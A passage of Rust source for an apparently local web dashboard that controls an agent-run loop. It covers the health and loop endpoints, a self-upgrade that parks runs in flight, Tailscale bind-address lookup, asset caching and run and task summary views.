1663 mut lease: Option<&mut updater::LeaseGuard>,
1664) {
1665 let live = lock_or_recover(state).live.take();
1666 let Some(live) = live else {
1667 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1668 return;
1669 };
1670 live.stop.stop();
1671 lock_or_recover(state).rev += 1;
1672 updater::log_step(
1673 home,
1674 "finish_loop: waiting for the loop to finish the run in flight",
1675 );
1676 let waited = std::time::Instant::now();
1677 let mut handle = live.handle;
1680 let mut beat = tokio::time::interval(LEASE_BEAT);
1681 loop {
1682 tokio::select! {
1683 _ = &mut handle => break,
1684 _ = beat.tick() => {
1685 if let Some(lease) = lease.as_deref_mut() {
1686 lease.beat();
1687 }
1688 }
1689 }
1690 }
1691 updater::log_step(
1692 home,
1693 &format!(
1694 "finish_loop: the loop ended after {:.1}s",
1695 waited.elapsed().as_secs_f32()
1696 ),
1697 );
1698}
1699
1700pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1706 match bind {
1707 Bind::Addr(addr) => (*addr, None),
1708 Bind::Auto => match tailscale_ip() {
1709 Ok(ip) => (IpAddr::V4(ip), None),
1710 Err(why) => (
1711 IpAddr::V4(Ipv4Addr::LOCALHOST),
1712 Some(format!(
1713 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1714 local-only and a phone cannot reach it; start Tailscale \
1715 or pass --bind <addr>"
1716 )),
1717 ),
1718 },
1719 }
1720}
1721
1722fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1730 let out = std::process::Command::new("tailscale")
1731 .args(["ip", "-4"])
1732 .quiet()
1733 .output()
1734 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1735 if !out.status.success() {
1736 let why = String::from_utf8_lossy(&out.stderr);
1737 let why = why.trim();
1738 return Err(format!(
1739 "`tailscale ip -4` failed ({}){}",
1740 out.status,
1741 if why.is_empty() {
1742 String::new()
1743 } else {
1744 format!(": {why}")
1745 }
1746 ));
1747 }
1748 String::from_utf8_lossy(&out.stdout)
1749 .lines()
1750 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1751 .find(is_tailnet)
1752 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1753}
1754
1755fn is_tailnet(ip: &Ipv4Addr) -> bool {
1757 let o = ip.octets();
1758 o[0] == 100 && (64..=127).contains(&o[1])
1759}
1760
1761type ApiResult<T> = std::result::Result<T, ApiError>;
1765
1766#[derive(Debug)]
1768struct ApiError {
1769 status: StatusCode,
1770 message: String,
1771 text_reason: Option<crate::question_delivery::UnavailableReason>,
1772}
1773
1774impl ApiError {
1775 fn bad_request(message: impl Into<String>) -> Self {
1777 Self {
1778 text_reason: None,
1779 status: StatusCode::BAD_REQUEST,
1780 message: message.into(),
1781 }
1782 }
1783
1784 fn not_found(message: impl Into<String>) -> Self {
1786 Self {
1787 text_reason: None,
1788 status: StatusCode::NOT_FOUND,
1789 message: message.into(),
1790 }
1791 }
1792
1793 fn with_status(mut self, status: StatusCode) -> Self {
1796 self.status = status;
1797 self
1798 }
1799
1800 fn bad_request_from(e: anyhow::Error) -> Self {
1804 Self::bad_request(format!("{e:#}"))
1805 }
1806
1807 fn conflict(message: impl Into<String>) -> Self {
1808 Self {
1809 text_reason: None,
1810 status: StatusCode::CONFLICT,
1811 message: message.into(),
1812 }
1813 }
1814
1815 fn internal(message: impl Into<String>) -> Self {
1817 Self {
1818 text_reason: None,
1819 status: StatusCode::INTERNAL_SERVER_ERROR,
1820 message: message.into(),
1821 }
1822 }
1823}
1824
1825impl From<anyhow::Error> for ApiError {
1826 fn from(e: anyhow::Error) -> Self {
1831 Self::internal(format!("{e:#}"))
1832 }
1833}
1834
1835impl IntoResponse for ApiError {
1836 fn into_response(self) -> Response {
1837 let mut body = serde_json::json!({ "error": self.message });
1838 if let Some(reason) = self.text_reason {
1839 body["code"] = serde_json::json!("question_text_unavailable");
1840 body["reason"] = serde_json::json!(reason);
1841 }
1842 (self.status, Json(body)).into_response()
1843 }
1844}
1845
1846async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1855where
1856 T: Send + 'static,
1857{
1858 #[cfg(test)]
1859 let job = request_cost::carry(job);
1860 match tokio::task::spawn_blocking(job).await {
1861 Ok(result) => result,
1862 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1863 }
1864}
1865
1866const ASSET_CACHE: &str = "no-cache, must-revalidate";
1884
1885fn asset_etag() -> &'static str {
1892 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1893 format!(
1894 "\"{}-{}\"",
1895 env!("CARGO_PKG_VERSION"),
1896 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1901 )
1902 });
1903 &TAG
1904}
1905
1906fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1908 [
1909 (header::CONTENT_TYPE, mime),
1910 (header::CACHE_CONTROL, ASSET_CACHE),
1911 (header::ETAG, asset_etag()),
1912 ]
1913}
1914
1915fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1923 let tag = asset_etag();
1924 let known = headers
1925 .get(header::IF_NONE_MATCH)
1926 .and_then(|v| v.to_str().ok())
1927 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1931 if known {
1932 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1933 }
1934 (asset_headers(mime), body).into_response()
1935}
1936
1937async fn index(headers: header::HeaderMap) -> Response {
1938 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1939}
1940
1941async fn app_css(headers: header::HeaderMap) -> Response {
1942 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1943}
1944
1945async fn app_js(headers: header::HeaderMap) -> Response {
1946 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1947}
1948
1949#[derive(Debug, Serialize)]
1951struct HealthView {
1952 version: &'static str,
1953 home: String,
1954 queue_rev: u64,
1955 runs_rev: u64,
1956 questions_rev: u64,
1968 talks_rev: u64,
1970 notifications_rev: u64,
1972 notifications_unread: usize,
1975 loop_rev: u64,
1980 runs_unreadable: usize,
1988 disk: DiskView,
1996 questions_open: usize,
2002 questions_needs_owner: usize,
2012 daemon: DaemonView,
2013 #[serde(rename = "loop")]
2019 looping: LoopView,
2020 update: UpdateView,
2027 upgrade: Option<UpgradeProgressView>,
2031}
2032
2033#[derive(Debug, Serialize)]
2040struct UpdateView {
2041 available: bool,
2043 to: Option<String>,
2045}
2046
2047#[derive(Debug, Serialize)]
2049struct UpgradeProgressView {
2050 stage: updater::Stage,
2051 from: String,
2052 to: Option<String>,
2053 waiting_on: Option<String>,
2056 started_at: Timestamp,
2057 updated_at: Timestamp,
2058 detail: Option<String>,
2059 stuck_for_secs: Option<i64>,
2062 stuck_kind: Option<updater::StallKind>,
2065 handover_alive: bool,
2068}
2069
2070fn should_spawn_recheck(cfg: &Update) -> bool {
2077 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2078}
2079
2080fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2092 if progress.is_some_and(|p| !p.stage.terminal()) {
2093 return false;
2094 }
2095 checker.should_check()
2096}
2097
2098fn recheck_poll_period(cfg: &Update) -> Duration {
2111 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2112}
2113
2114async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2138 loop {
2139 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2140 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2141 if !should_spawn_recheck(&cfg.update) {
2142 continue;
2143 }
2144 let Some(checker) = updater::Checker::new(&cfg.update) else {
2145 continue;
2146 };
2147 let progress = updater::read_progress(&home);
2148 if !update_recheck_due(&checker, progress.as_ref()) {
2149 continue;
2150 }
2151 if let Err(e) = checker.newer_release().await {
2152 tracing::warn!("background update recheck failed: {e:#}");
2153 }
2154 }
2155}
2156
2157fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2163 let default;
2164 let cfg = match cfg {
2165 Some(cfg) => cfg,
2166 None => {
2167 default = Config::default();
2168 &default
2169 }
2170 };
2171 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2172 match latest {
2173 Some(latest) => UpdateView {
2174 available: true,
2175 to: Some(latest.tag_name),
2176 },
2177 None => UpdateView {
2178 available: false,
2179 to: None,
2180 },
2181 }
2182}
2183
2184fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2190 let now = Timestamp::now();
2191 let lease = updater::read_lease(&ui.home);
2192 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2193 let run_id = alive
2194 .and_then(|l| l.parked_run.as_deref())
2195 .or(progress.parked_run.as_deref());
2196 let parking = progress.stage == updater::Stage::Parking;
2197 let waited = alive.map_or_else(String::new, |l| {
2198 let secs = updater::waited_secs(l, now);
2199 format!(" (waited {} min so far)", secs / 60)
2200 });
2201 let run_text = run_id
2202 .filter(|_| parking)
2203 .map(|id| match read_run(&ui.runs, id).ok() {
2204 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2205 None => format!("run {id} is finishing"),
2206 });
2207 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2208 .filter(|t| parking && !t.is_empty())
2209 .map(|t| format!("{t} finishing"));
2210 let waiting_on = match (run_text, talks_text) {
2211 (None, None) => None,
2212 (run, talks) => {
2213 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2214 Some(format!(
2215 "{} before the address is handed over{waited}",
2216 parts.join(" and ")
2217 ))
2218 }
2219 };
2220 let detail = progress
2221 .detail
2222 .clone()
2223 .or_else(|| updater::read_note(&ui.home, &progress));
2224 let stalled = updater::stall(&progress, lease.as_ref(), now);
2225 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2226 UpgradeProgressView {
2227 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2228 stuck_kind: stalled.map(|s| s.kind),
2229 handover_alive: alive.is_some(),
2230 stage: progress.stage,
2231 from: progress.from,
2232 to: progress.to,
2233 waiting_on,
2234 started_at: progress.started_at,
2235 updated_at: progress.updated_at,
2236 detail,
2237 }
2238}
2239
2240#[derive(Debug, Serialize)]
2245struct DiskView {
2246 #[serde(skip_serializing_if = "Option::is_none")]
2248 free_bytes: Option<u64>,
2249 runs_bytes: u64,
2251 worktrees_bytes: u64,
2253 #[serde(skip_serializing_if = "Option::is_none")]
2255 cache_bytes: Option<u64>,
2256}
2257
2258impl DiskView {
2259 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2261 let cache_bytes = cfg
2262 .and_then(|cfg| cfg.cache_dir())
2263 .map(|dir| crate::disk::dir_size(&dir));
2264 Self {
2265 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2266 runs_bytes: crate::disk::dir_size(&ui.runs),
2267 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2268 cache_bytes,
2269 }
2270 }
2271}
2272
2273#[derive(Debug, Serialize)]
2275struct DaemonView {
2276 running: bool,
2277 idle: Option<bool>,
2278 pid: Option<u32>,
2279 current: Vec<daemon::Current>,
2283 completed: Option<u64>,
2284 stale_for_secs: Option<i64>,
2285}
2286
2287impl DaemonView {
2288 fn of(status: Option<daemon::Reading>) -> Self {
2292 let Some(status) = status else {
2293 return Self {
2294 running: false,
2295 idle: None,
2296 pid: None,
2297 current: Vec::new(),
2298 completed: None,
2299 stale_for_secs: None,
2300 };
2301 };
2302 let now = Timestamp::now();
2303 let age = status.age_secs(now);
2304 Self {
2305 running: status.running(now),
2306 idle: Some(status.idle),
2307 pid: status.pid,
2308 current: status.current,
2309 completed: Some(status.completed),
2310 stale_for_secs: age,
2311 }
2312 }
2313}
2314
2315async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2316 blocking(move || {
2317 let reading = daemon::read_status(&ui.home);
2321 let loop_rev = ui.lock_loop().rev;
2325 let cfg = deputy_config(&ui.repo);
2328 let update = cached_update_view(cfg.as_ref());
2329 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2330 Ok(Json(HealthView {
2331 version: env!("CARGO_PKG_VERSION"),
2332 home: ui.home.display().to_string(),
2333 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2334 runs_rev: runs_revision(&ui.runs),
2335 questions_rev: ui.questions.revision(),
2336 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2337 notifications_rev: ui.notices.revision(),
2338 notifications_unread: ui.notices.count_unread(),
2339 loop_rev,
2340 runs_unreadable: runs_unreadable(&ui.runs),
2341 questions_open: ui.questions.count_open(),
2342 questions_needs_owner: ui.questions.count_needs_owner(),
2343 daemon: DaemonView::of(reading.clone()),
2344 looping: ui.loop_view(reading),
2345 disk: DiskView::of(&ui, cfg.as_ref()),
2346 update,
2347 upgrade,
2348 }))
2349 })
2350 .await
2351}
2352
2353#[derive(Debug, Serialize)]
2355struct LoopView {
2356 running: bool,
2358 stopping: bool,
2366 parking: bool,
2374 owned: bool,
2382 repo: String,
2385 merge: Option<String>,
2388 last_error: Option<String>,
2396 daemon: DaemonView,
2399}
2400
2401#[derive(Debug, Clone, Copy)]
2410struct Foreign {
2411 pid: Option<u32>,
2413}
2414
2415impl Foreign {
2416 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2419 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2423 }
2424
2425 fn who(&self) -> String {
2428 match self.pid {
2429 Some(pid) => format!("another magi process (pid {pid})"),
2430 None => "another magi process".to_owned(),
2431 }
2432 }
2433}
2434
2435type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2440
2441fn launch_daemon(
2443 opts: daemon::Opts,
2444 stop: daemon::Stop,
2445) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2446 Box::pin(daemon::serve_until(opts, stop))
2447}
2448
2449#[derive(Debug, Default)]
2451struct LoopState {
2452 live: Option<Live>,
2454 rev: u64,
2462 last_error: Option<String>,
2465 resume_after_handover: bool,
2470}
2471
2472#[derive(Debug)]
2474struct Live {
2475 stop: daemon::Stop,
2477 handle: tokio::task::JoinHandle<()>,
2482 opts: daemon::Opts,
2486}
2487
2488impl Live {
2489 fn alive(&self) -> bool {
2491 !self.handle.is_finished()
2492 }
2493}
2494
2495fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2502 state.lock().unwrap_or_else(PoisonError::into_inner)
2503}
2504
2505async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2507 blocking(move || {
2508 let reading = daemon::read_status(&ui.home);
2509 Ok(Json(ui.loop_view(reading)))
2510 })
2511 .await
2512}
2513
2514#[derive(Debug, Deserialize)]
2520#[serde(deny_unknown_fields)]
2521struct LoopCommand {
2522 running: bool,
2523 #[serde(default)]
2533 park: bool,
2534}
2535
2536async fn loop_post(
2544 State(ui): State<Arc<Ui>>,
2545 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2546) -> ApiResult<Json<LoopView>> {
2547 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2550 blocking(move || {
2551 let reading = daemon::read_status(&ui.home);
2552 let foreign = Foreign::of(reading.as_ref());
2553 if body.running {
2554 ui.start_loop(foreign)?;
2555 } else {
2556 ui.stop_loop(foreign, body.park)?;
2557 }
2558 Ok(Json(ui.loop_view(reading)))
2559 })
2560 .await
2561}
2562
2563#[derive(Debug, Serialize)]
2565struct UpgradeView {
2566 from: String,
2568 to: Option<String>,
2570 parked: Option<String>,
2572 detail: String,
2574}
2575
2576fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2579 progress.filter(|p| !p.stage.terminal())
2580}
2581
2582async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2606 let reading = daemon::read_status(&ui.home);
2607 if let Some(other) = Foreign::of(reading.as_ref()) {
2608 return Err(ApiError::conflict(format!(
2609 "the loop belongs to {}, so replacing this binary would leave \
2610 that process running an old one against the same queue. Upgrade \
2611 where it was started.",
2612 other.who()
2613 )));
2614 }
2615
2616 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2621 return Err(ApiError::conflict(
2622 "another request is already preparing an upgrade",
2623 ));
2624 };
2625 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2626 return Err(ApiError::conflict(
2627 "an upgrade is already in progress (this process started one and it \
2628 has not finished or failed yet)",
2629 ));
2630 }
2631 let recorded = updater::read_progress(&ui.home);
2632 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2633 return Err(ApiError::conflict(format!(
2634 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2635 stays stuck, restart the deck; on start it settles a stale record.",
2636 p.stage.as_str(),
2637 p.from,
2638 p.to.as_deref().unwrap_or("?"),
2639 )));
2640 }
2641
2642 if crate::updater::disabled_by_env() {
2648 return Ok((
2649 StatusCode::OK,
2650 Json(UpgradeView {
2651 from: env!("CARGO_PKG_VERSION").to_owned(),
2652 to: None,
2653 parked: None,
2654 detail: format!(
2655 "Automatic updates are disabled by {}. Nothing was parked \
2656 and nothing restarted.",
2657 crate::updater::NO_AUTOUPDATE_ENV
2658 ),
2659 }),
2660 ));
2661 }
2662
2663 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2668 let from = env!("CARGO_PKG_VERSION").to_owned();
2669 let latest = match crate::updater::Checker::new(&cfg.update) {
2670 Some(checker) => checker
2671 .newer_release()
2672 .await
2673 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2674 None => None,
2675 };
2676 let Some(latest) = latest else {
2677 return Ok((
2678 StatusCode::OK,
2679 Json(UpgradeView {
2680 from,
2681 to: None,
2682 parked: None,
2683 detail: "Already on the newest release. Nothing was parked \
2684 and nothing restarted."
2685 .to_owned(),
2686 }),
2687 ));
2688 };
2689
2690 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2693 let detail = match &parked {
2694 Some(run) => format!(
2699 "Run {} is parking at its next step, which can take as long as \
2700 the step it is on - up to an hour for an implement wave. The \
2701 deck replaces itself once it parks, comes back, and the loop \
2702 carries that run on from where it stopped. Nothing is lost if \
2703 you close this.",
2704 crate::run::short_of(run)
2705 ),
2706 None => "The deck replaces itself and comes back. Nothing was in \
2707 flight to park."
2708 .to_owned(),
2709 };
2710
2711 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2715 progress.parked_run = parked.clone();
2716 updater::write_progress_logged(&ui.home, &progress);
2720
2721 let home = ui.home.clone();
2722 let looping = ui.looping();
2723 ui.upgrade_spawned
2724 .store(true, std::sync::atomic::Ordering::SeqCst);
2725 let spawned = Arc::clone(&ui.upgrade_spawned);
2726 tokio::spawn(async move {
2727 if let Err(e) = upgrade_and_restart(home.clone()).await {
2728 tracing::error!("the upgrade did not complete: {e:#}");
2729 lock_or_recover(&looping).resume_after_handover = false;
2730 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2734 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2737 }
2738 });
2739
2740 Ok((
2741 StatusCode::ACCEPTED,
2742 Json(UpgradeView {
2743 from,
2744 to: Some(latest.tag_name),
2745 parked,
2746 detail,
2747 }),
2748 ))
2749}
2750
2751async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2756 crate::updater::run_self_update(true, false, true).await?;
2759 updater::log_step(&home, "binary replaced - recording the replaced stage");
2760 if let Some(mut progress) = updater::read_progress(&home) {
2761 progress.advance(updater::Stage::Replaced);
2762 updater::write_progress_logged(&home, &progress);
2763 }
2764 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2765 HANDOVER.notify_one();
2766 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2767 Ok(())
2768}
2769
2770#[derive(Debug, Serialize)]
2776struct RunSummary {
2777 id: String,
2778 short: String,
2779 status: String,
2780 done: bool,
2781 instruction: String,
2782 title: String,
2783 repo: String,
2784 repo_name: String,
2785 created_at: String,
2786 updated_at: String,
2787 candidates: usize,
2788 viable: usize,
2789 judges: usize,
2790 winner: Option<char>,
2791 reviews: usize,
2792 quota_losses: usize,
2793 event: Option<String>,
2794 superseded_by: Option<String>,
2799 waiting: bool,
2806 live: crate::run::Liveness,
2810 pr: Option<crate::run::PrRecord>,
2812 unmerged_by_design: bool,
2818 #[serde(default)]
2821 display_status: String,
2822 #[serde(default)]
2825 badge_status: String,
2826 origin_label: String,
2829}
2830
2831impl RunSummary {
2832 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2833 Self {
2834 id: state.id.clone(),
2835 short: state.short().to_owned(),
2836 status: status_word(state.status),
2837 done: state.status.done(),
2838 unmerged_by_design: state.unmerged_by_design(),
2839 display_status: run_display_status(state, waiting, live),
2840 badge_status: run_display_status(state, waiting, live),
2841 instruction: state.instruction.clone(),
2842 title: title_from(&state.instruction, TITLE_MAX),
2843 repo: state.repo.display().to_string(),
2844 repo_name: state
2845 .repo
2846 .file_name()
2847 .map(|n| n.to_string_lossy().into_owned())
2848 .unwrap_or_default(),
2849 created_at: state.created_at.to_string(),
2850 updated_at: state.updated_at.to_string(),
2851 candidates: state.candidates.len(),
2852 viable: state.viable().len(),
2853 judges: state.config.graph.judges,
2854 winner: state.winner().map(|c| c.label),
2855 reviews: state.reviews.len(),
2856 quota_losses: state.quota.len(),
2857 event: state.events.last().map(|e| e.message.clone()),
2858 waiting,
2859 live,
2860 superseded_by: None,
2863 pr: state.pr.clone(),
2864 origin_label: crate::run::origin_label(state.origin.as_ref()),
2865 }
2866 }
2867}
2868
2869fn status_word(status: RunStatus) -> String {
2872 status.as_str().to_owned()
2876}
2877
2878fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2884 if waiting {
2885 return "waiting".to_owned();
2886 }
2887 if state.unmerged_by_design() {
2888 return "unmerged".to_owned();
2889 }
2890 if !state.status.done() && live == crate::run::Liveness::Dead {
2891 if state.parked {
2894 return "parked".to_owned();
2895 }
2896 return "stale".to_owned();
2897 }
2898 status_word(state.status)
2899}
2900
2901fn run_badge_status(
2909 state: &RunState,
2910 display_status: &str,
2911 live: crate::run::Liveness,
2912 superseded: bool,
2913) -> String {
2914 if state.status.done() || live == crate::run::Liveness::Live {
2915 return display_status.to_owned();
2916 }
2917 if superseded {
2918 return "superseded".to_owned();
2919 }
2920 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
2924 return "stale".to_owned();
2925 }
2926 display_status.to_owned()
2927}
2928
2929#[derive(Debug, Deserialize)]
2931struct ListQuery {
2932 #[serde(default)]
2933 limit: Option<usize>,
2934 ids: Option<String>,
2936}
2937
2938impl ListQuery {
2939 fn contains(&self, id: &str) -> bool {
2940 self.ids
2941 .as_ref()
2942 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2943 }
2944}
2945
2946async fn runs_list(
2947 State(ui): State<Arc<Ui>>,
2948 Query(q): Query<ListQuery>,
2949) -> ApiResult<Json<Vec<RunSummary>>> {
2950 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2951 blocking(move || {
2952 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2953 let states = run_ids(&ui.runs)
2954 .into_iter()
2955 .filter_map(|id| read_run(&ui.runs, &id).ok())
2960 .take(limit)
2961 .filter(|run| q.contains(&run.id));
2962 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2963 let summaries = summarize(
2964 states,
2965 &open_runs,
2966 &claimed,
2967 &superseded,
2968 |p| probe.borrow_mut().status(p),
2969 |p| probe.borrow_mut().started_at(p),
2970 );
2971 Ok(Json(summaries))
2972 })
2973 .await
2974}
2975
2976fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2981 let open_runs: HashSet<String> = ui
2982 .questions
2983 .list()
2984 .into_iter()
2985 .filter(|q| q.status.open())
2986 .map(|q| q.run)
2987 .collect();
2988 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2989 .into_iter()
2990 .map(|c| c.run)
2991 .collect();
2992 (open_runs, claimed, ui.queue.superseded())
2993}
2994
2995fn summarize<I, S, D>(
3001 states: I,
3002 open_runs: &HashSet<String>,
3003 claimed: &HashSet<String>,
3004 superseded: &HashMap<String, String>,
3005 mut status_q: S,
3006 mut identity_q: D,
3007) -> Vec<RunSummary>
3008where
3009 I: IntoIterator<Item = RunState>,
3010 S: FnMut(u32) -> Option<bool>,
3011 D: FnMut(u32) -> Option<String>,
3012{
3013 states
3014 .into_iter()
3015 .map(|state| {
3016 let waiting = open_runs.contains(&state.id);
3017 let live =
3018 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3019 let mut row = RunSummary::of(&state, waiting, live);
3020 row.superseded_by = state
3021 .pr_taken_over_by
3022 .as_ref()
3023 .or_else(|| superseded.get(&state.id))
3024 .map(String::as_str)
3025 .map(crate::run::short_of)
3026 .map(str::to_owned);
3027 row.badge_status = run_badge_status(
3028 &state,
3029 &row.display_status,
3030 live,
3031 row.superseded_by.is_some(),
3032 );
3033 row
3034 })
3035 .collect()
3036}
3037
3038#[derive(Debug, Serialize)]
3045struct RunDetailView {
3046 stop_reason: Option<String>,
3047 #[serde(flatten)]
3048 state: RunState,
3049 instruction_md: Vec<md::Node>,
3050 #[serde(flatten)]
3054 prose_md: RunProseMd,
3055 live: crate::run::Liveness,
3070 unmerged_by_design: bool,
3075 #[serde(default)]
3077 waiting: bool,
3078 #[serde(default)]
3080 display_status: String,
3081 #[serde(default)]
3083 badge_status: String,
3084 done: bool,
3089 superseded_by: Option<String>,
3097 latest_attempt: Option<LatestAttempt>,
3111 task: Option<TaskRef>,
3114 origin_label: String,
3118 pass_views: Vec<PassView>,
3121}
3122
3123#[derive(Debug, Serialize)]
3125struct TaskRef {
3126 id: String,
3127 short: String,
3128 title: String,
3129 source_label: String,
3131 source_link: Option<SourceLink>,
3133 status: &'static str,
3135 attempts: usize,
3136 max_attempts: usize,
3137 is_latest: bool,
3139 latest: Option<RunBrief>,
3141 finished_by: Option<RunBrief>,
3143 closed_by_hand: bool,
3145}
3146
3147#[derive(Debug, PartialEq, Eq, Serialize)]
3149struct SourceLink {
3150 kind: &'static str,
3152 id: String,
3154 href: String,
3156}
3157
3158fn encode_segment(raw: &str) -> String {
3160 let mut out = String::with_capacity(raw.len());
3161 for b in raw.bytes() {
3162 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3163 out.push(b as char);
3164 } else {
3165 out.push_str(&format!("%{b:02X}"));
3166 }
3167 }
3168 out
3169}
3170
3171fn source_link(source: &Source) -> Option<SourceLink> {
3175 let Source::Agent { run, node } = source else {
3176 return None;
3177 };
3178 let (kind, route) = if node == crate::queue::CHAT_NODE {
3179 ("chat", "chat")
3180 } else {
3181 ("run", "runs")
3182 };
3183 Some(SourceLink {
3184 kind,
3185 id: run.clone(),
3186 href: format!("#/{route}/{}", encode_segment(run)),
3187 })
3188}
3189
3190#[derive(Debug, Serialize, PartialEq)]
3192struct FollowUpParent {
3193 id: String,
3194 short: String,
3195 title: String,
3196 status: &'static str,
3198 href: String,
3199}
3200
3201#[derive(Debug, Serialize, PartialEq)]
3203struct FollowUpRun {
3204 id: String,
3205 short: String,
3206 status: Option<&'static str>,
3208 href: Option<String>,
3210}
3211
3212#[derive(Debug, Serialize, PartialEq)]
3215struct FollowUpOrigin {
3216 parent: Option<FollowUpParent>,
3218 run: FollowUpRun,
3219 pr: String,
3224 findings: Vec<String>,
3225 generation: u32,
3226}
3227
3228fn followup_origin(
3231 fu: &crate::queue::FollowUp,
3232 task: impl Fn(&str) -> Option<Task>,
3233 run: impl Fn(&str) -> Option<RunState>,
3234) -> FollowUpOrigin {
3235 let parent = fu
3236 .origin_task
3237 .as_deref()
3238 .and_then(task)
3239 .map(|t| FollowUpParent {
3240 short: t.short().to_owned(),
3241 href: format!("#/tasks/{}", encode_segment(&t.id)),
3242 status: t.status.as_str(),
3243 title: t.title,
3244 id: t.id,
3245 });
3246 let state = run(&fu.run);
3247 FollowUpOrigin {
3248 parent,
3249 run: FollowUpRun {
3250 short: run::short_of(&fu.run).to_owned(),
3251 status: state.as_ref().map(|s| s.status.as_str()),
3252 href: state
3253 .is_some()
3254 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3255 id: fu.run.clone(),
3256 },
3257 pr: fu.pr.clone(),
3258 findings: fu.findings.clone(),
3259 generation: fu.generation,
3260 }
3261}
3262
3263#[derive(Debug, Serialize)]
3265struct RunBrief {
3266 id: String,
3267 short: String,
3268 status: Option<&'static str>,
3270 outcome: String,
3272 badge: Option<String>,
3274}
3275
3276fn task_outcome(
3279 task: &Task,
3280 this_run: &str,
3281 max_attempts: usize,
3282 read: impl Fn(&str) -> Option<RunState>,
3283) -> TaskRef {
3284 let max_attempts = task.effective_attempt_limit(max_attempts);
3285 let history = task_history(task, read);
3286 let brief = |h: &TaskRunView| RunBrief {
3287 id: h.id.clone(),
3288 short: h.short.clone(),
3289 status: h.status,
3290 outcome: h.exit.edge_label(h.status),
3291 badge: h.badge.clone(),
3292 };
3293 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3294 let latest = if is_latest {
3295 None
3296 } else {
3297 history.last().map(brief)
3298 };
